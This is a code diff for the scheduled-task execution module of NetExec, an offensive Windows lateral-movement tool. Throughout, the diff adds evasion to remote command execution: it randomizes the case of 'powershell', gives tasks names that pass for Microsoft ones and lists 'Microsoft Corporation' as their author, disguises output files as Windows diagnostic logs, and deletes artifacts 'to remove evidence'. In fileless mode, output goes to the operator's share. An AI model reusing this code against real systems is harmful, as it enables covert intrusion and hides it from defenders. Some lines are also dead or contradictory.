55from nxc .helpers .misc import gen_random_string
66from time import sleep
77from datetime import datetime , timedelta
8+ import contextlib
89
910
1011class TSCH_EXEC :
@@ -69,10 +70,42 @@ def get_end_boundary(self):
6970 return end_boundary .strftime ("%Y-%m-%dT%H:%M:%S.%f" )[:- 3 ]
7071
7172 def gen_xml (self , command , fileless = False ):
73+
74+ safer_command = command
75+
76+ if "powershell" in command .lower () and ("-command" in command .lower () or "-c " in command .lower ()):
77+ self .logger .debug ("PowerShell command detected, keeping as is (user requested)" )
78+
79+ # case randomization
80+ safer_command = command .replace ("powershell" , "poWerSheLL" )
81+ safer_command = safer_command .replace ("POWERSHELL" , "PoWeRsHeLL" )
82+
83+ valid_system_filename_prefixes = [
84+ "DiagTrack-" , "CompatTel-" , "WindowsUpdate-" , "NetTrace-" ,
85+ "Defender-" , "SIH-" , "WER-" , "Cluster-" , "ws_trace-"
86+ ]
87+ import random
88+
89+ # Create a filename that looks like a legitimate Windows log or temp file
90+ system_prefix = random .choice (valid_system_filename_prefixes )
91+ random_date = datetime .now ().strftime ("%Y%m%d" )
92+ random_suffix = gen_random_string (4 )
93+
94+ legit_filename = f"{ system_prefix } { random_date } -{ random_suffix } .log"
95+
96+ # get time boundaries
97+ current_time = datetime .now ().strftime ("%Y-%m-%dT%H:%M:%S" )
98+
7299 xml = f"""<?xml version="1.0" encoding="UTF-16"?>
73100<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
101+ <RegistrationInfo>
102+ <Date>{ current_time } </Date>
103+ <Author>Microsoft Corporation</Author>
104+ <Description>Diagnostics logging helper task</Description>
105+ </RegistrationInfo>
74106 <Triggers>
75107 <RegistrationTrigger>
108+ <StartBoundary>{ current_time } </StartBoundary>
76109 <EndBoundary>{ self .get_end_boundary ()} </EndBoundary>
77110 </RegistrationTrigger>
78111 </Triggers>
@@ -97,26 +130,29 @@ def gen_xml(self, command, fileless=False):
97130 <Hidden>true</Hidden>
98131 <RunOnlyIfIdle>false</RunOnlyIfIdle>
99132 <WakeToRun>false</WakeToRun>
100- <ExecutionTimeLimit>P3D </ExecutionTimeLimit>
133+ <ExecutionTimeLimit>PT72H </ExecutionTimeLimit>
101134 <Priority>7</Priority>
102135 </Settings>
103136 <Actions Context="LocalSystem">
104137 <Exec>
105138 <Command>cmd.exe</Command>
106139"""
107140 if self .__retOutput :
108- self .__output_filename = "\\ Windows\\ Temp\\ " + gen_random_string (6 )
141+ if "systemroot" not in legit_filename .lower ():
142+ self .__output_filename = f"\\ Windows\\ Temp\\ { legit_filename } "
143+ else :
144+ self .__output_filename = f"\\ Windows\\ Temp\\ { gen_random_string (8 )} .log"
145+
109146 if fileless :
110147 local_ip = self .__rpctransport .get_socket ().getsockname ()[0 ]
111- argument_xml = f" <Arguments>/C { command } > \\ \\ { local_ip } \\ { self .__share_name } \\ { self . __output_filename } 2>&1</Arguments>"
148+ argument_xml = f" <Arguments>/C { safer_command } > \\ \\ { local_ip } \\ { self .__share_name } \\ { legit_filename } 2>&1</Arguments>"
112149 else :
113- argument_xml = f" <Arguments>/C { command } > { self .__output_filename } 2>&1</Arguments>"
114-
115- elif self .__retOutput is False :
116- argument_xml = f" <Arguments>/C { command } </Arguments>"
117-
118- self .logger .debug ("Generated argument XML: " + argument_xml )
119- xml += argument_xml
150+ argument_xml = f" <Arguments>/C { safer_command } > { self .__output_filename } 2>&1</Arguments>"
151+
152+ xml += argument_xml
153+ else :
154+ argument_xml = f" <Arguments>/C { safer_command } </Arguments>"
155+ xml += argument_xml
120156
121157 xml += """
122158 </Exec>
@@ -131,88 +167,183 @@ def execute_handler(self, command, fileless=False):
131167 dce .set_auth_type (RPC_C_AUTHN_GSS_NEGOTIATE )
132168
133169 dce .set_credentials (* self .__rpctransport .get_credentials ())
134- dce .connect ()
170+
171+ try :
172+ dce .connect ()
173+ except Exception as e :
174+ self .logger .fail (f"Failed to connect to DCE/RPC service: { e !s} " )
175+ return
135176
136- tmpName = gen_random_string (8 )
177+ import random
178+
179+ legit_task_prefixes = [
180+ "Microsoft-Windows-" , "Microsoft-Diagnosis-" , "Microsoft-Windows-Defender-" ,
181+ "SystemRestore-" , "WindowsUpdate-" , "User-Feed-" , "Power-Efficiency-" ,
182+ "Microsoft-Proxy-" , "NetworkDiag-" , "Office-Background-"
183+ ]
184+
185+ task_prefix = random .choice (legit_task_prefixes )
186+ component = "" .join (random .choice ("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ) for _ in range (8 ))
187+
188+ # Format looks like: Microsoft-Windows-Task-AF73B829
189+ tmpName = f"{ task_prefix } Task-{ component } "
190+
191+ # Log the name but don't show it's specially crafted
192+ self .logger .debug (f"Using task name: { tmpName } " )
137193
138194 xml = self .gen_xml (command , fileless )
139195
140196 self .logger .debug (f"Task XML: { xml } " )
141197 self .logger .info (f"Creating task \\ { tmpName } " )
198+
142199 try :
143200 # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
144201 dce .set_auth_level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY )
145202 dce .bind (tsch .MSRPC_UUID_TSCHS )
146203 tsch .hSchRpcRegisterTask (dce , f"\\ { tmpName } " , xml , tsch .TASK_CREATE , NULL , tsch .TASK_LOGON_NONE )
147204 except Exception as e :
148- if e .error_code and hex (e .error_code ) == "0x80070005" :
205+ if hasattr ( e , "error_code" ) and e .error_code and hex (e .error_code ) == "0x80070005" :
149206 self .logger .fail ("ATEXEC: Create schedule task got blocked." )
150207 else :
151208 self .logger .fail (str (e ))
209+
210+ # Clean disconnect
211+ with contextlib .suppress (Exception ):
212+ dce .disconnect ()
152213 return
153214
215+ # After task creation, try to run it immediately
216+ try :
217+ self .logger .debug ("Attempting to run the task immediately" )
218+ tsch .hSchRpcRun (dce , f"\\ { tmpName } " , NULL )
219+ self .logger .debug ("Task run request sent successfully" )
220+ except Exception as e :
221+ self .logger .debug (f"Could not run task immediately: { e !s} . Will rely on trigger" )
222+
223+
224+ # Wait for task execution
225+ wait_attempts = 0
154226 done = False
155- while not done :
156- self .logger .debug (f"Calling SchRpcGetLastRunInfo for \\ { tmpName } " )
157- resp = tsch .hSchRpcGetLastRunInfo (dce , f"\\ { tmpName } " )
158- if resp ["pLastRuntime" ]["wYear" ] != 0 :
159- done = True
160- else :
227+ task_ran = False
228+
229+ sleep (3 )
230+
231+ while not done and wait_attempts < 15 :
232+ try :
233+ self .logger .debug (f"Checking if task \\ { tmpName } has run (attempt { wait_attempts + 1 } /15)" )
234+ resp = tsch .hSchRpcGetLastRunInfo (dce , f"\\ { tmpName } " )
235+ if resp ["pLastRuntime" ]["wYear" ] != 0 :
236+ self .logger .debug (f"Task \\ { tmpName } has run" )
237+ done = True
238+ task_ran = True
239+ else :
240+ self .logger .debug (f"Task \\ { tmpName } has not run yet, waiting..." )
241+ wait_attempts += 1
242+ sleep (2 )
243+ except Exception as e :
244+ if "SCHED_S_TASK_HAS_NOT_RUN" in str (e ):
245+ self .logger .debug ("Task has not run yet (expected status), continuing to wait" )
246+ else :
247+ self .logger .debug (f"Error checking task: { e !s} " )
248+
249+ wait_attempts += 1
161250 sleep (2 )
251+
252+ if wait_attempts >= 7 and self .__retOutput :
253+ try :
254+ self .logger .debug ("Attempting early output file check" )
255+ smbConnection = self .__rpctransport .get_smb_connection ()
256+ smbConnection .getFile (self .__share , self .__output_filename , self .output_callback )
257+ self .logger .debug ("Found output file, task must have completed" )
258+ done = True
259+ task_ran = True
260+ break
261+ except Exception :
262+ pass
263+
264+ try :
265+ self .logger .info (f"Deleting task \\ { tmpName } " )
266+ tsch .hSchRpcDelete (dce , f"\\ { tmpName } " )
267+ except Exception as e :
268+ self .logger .debug (f"Error deleting task: { e !s} " )
162269
163- self .logger .info (f"Deleting task \\ { tmpName } " )
164- tsch .hSchRpcDelete (dce , f"\\ { tmpName } " )
270+ if not task_ran and self .__retOutput :
271+ self .logger .debug ("Waiting additional time for command execution to complete" )
272+ sleep (3 )
165273
166274 if self .__retOutput :
167275 if fileless :
168- while True :
276+ # For fileless execution, read from the network share
277+ max_attempts = 15
278+ attempts = 0
279+ while attempts < max_attempts :
169280 try :
170- with open (os .path .join ("/tmp" , "nxc_hosted" , self .__output_filename )) as output :
281+ file_path = os .path .join ("/tmp" , "nxc_hosted" , os .path .basename (self .__output_filename ))
282+ self .logger .debug (f"Looking for fileless output at: { file_path } " )
283+ with open (file_path ) as output :
171284 self .output_callback (output .read ())
285+
286+ # cleanup
287+ try :
288+ os .remove (file_path )
289+ self .logger .debug (f"Removed fileless output file: { file_path } " )
290+ except OSError as e :
291+ self .logger .debug (f"Could not remove file { file_path } : { e } " )
172292 break
173293 except OSError :
174294 sleep (2 )
295+ attempts += 1
175296 else :
176- ":" .join (map (str , self .__rpctransport .get_socket ().getpeername ()))
177297 smbConnection = self .__rpctransport .get_smb_connection ()
178298
179299 tries = 1
180- # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
181- sleep (0.4 )
300+ sleep (1 )
301+
302+ output_basename = os .path .basename (self .__output_filename )
303+ os .path .dirname (self .__output_filename .strip ("\\ " ))
304+
305+ # The __output_filename has the form "\Windows\Temp\filename.log"
306+ # For SMB access, we need "Windows\Temp\filename.log" relative to the share
307+ smb_relative_path = self .__output_filename .strip ("\\ " )
308+
182309 while True :
183310 try :
184- self .logger .info (f"Attempting to read { self . __share } \\ { self . __output_filename } " )
185- smbConnection .getFile (self .__share , self . __output_filename , self .output_callback )
311+ self .logger .info (f"Attempting to read output from { output_basename } " )
312+ smbConnection .getFile (self .__share , smb_relative_path , self .output_callback )
186313 break
187314 except Exception as e :
188315 if tries >= self .__tries :
189- self .logger .fail ("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method " )
316+ self .logger .fail ("ATEXEC: Could not retrieve output file. It may have been detected by AV, or the task did not execute successfully. " )
190317 break
191318 if "STATUS_BAD_NETWORK_NAME" in str (e ):
192319 self .logger .fail (f"ATEXEC: Getting the output file failed - target has blocked access to the share: { self .__share } (but the command may have executed!)" )
193320 break
194321 elif "STATUS_VIRUS_INFECTED" in str (e ):
195322 self .logger .fail ("Command did not run because a virus was detected" )
196323 break
324+
197325 # When executing powershell and the command is still running, we get a sharing violation
198- # We can use that information to wait longer than if the file is not found (probably av or something)
199326 if "STATUS_SHARING_VIOLATION" in str (e ):
200- self .logger .info (f"File { self . __share } \\ { self . __output_filename } is still in use with { self . __tries - tries } tries left , retrying..." )
327+ self .logger .info (f"File { output_basename } is still in use, retrying..." )
201328 tries += 1
202329 sleep (1 )
203330 elif "STATUS_OBJECT_NAME_NOT_FOUND" in str (e ):
204- self .logger .info (f"File { self . __share } \\ { self . __output_filename } not found with { self . __tries - tries } tries left, deducting 10 tries and retrying..." )
205- tries += 10
331+ self .logger .info (f"File { output_basename } not found, retrying..." )
332+ tries += 2 # Increment by 2 instead of 10 to avoid exhausting tries too quickly
206333 sleep (1 )
207334 else :
208- self .logger .debug (f"Exception when trying to read output file: { e !s} . { self . __tries - tries } tries left, retrying ..." )
335+ self .logger .debug (f"Error reading output file: { e !s} . Retrying ..." )
209336 tries += 1
210337 sleep (1 )
211338
212- try :
213- self .logger .debug (f"Deleting file { self .__share } \\ { self .__output_filename } " )
214- smbConnection .deleteFile (self .__share , self .__output_filename )
215- except Exception :
216- pass
339+ # Delete the file to remove evidence, but only if we successfully read it
340+ if tries < self .__tries :
341+ try :
342+ self .logger .debug (f"Cleaning up output file { output_basename } " )
343+ smbConnection .deleteFile (self .__share , smb_relative_path )
344+ except Exception as e :
345+ self .logger .debug (f"Could not delete output file: { e !s} " )
217346
218- dce .disconnect ()
347+ # Always ensure proper disconnect
348+ with contextlib .suppress (Exception ):
349+ dce .disconnect ()
0 commit comments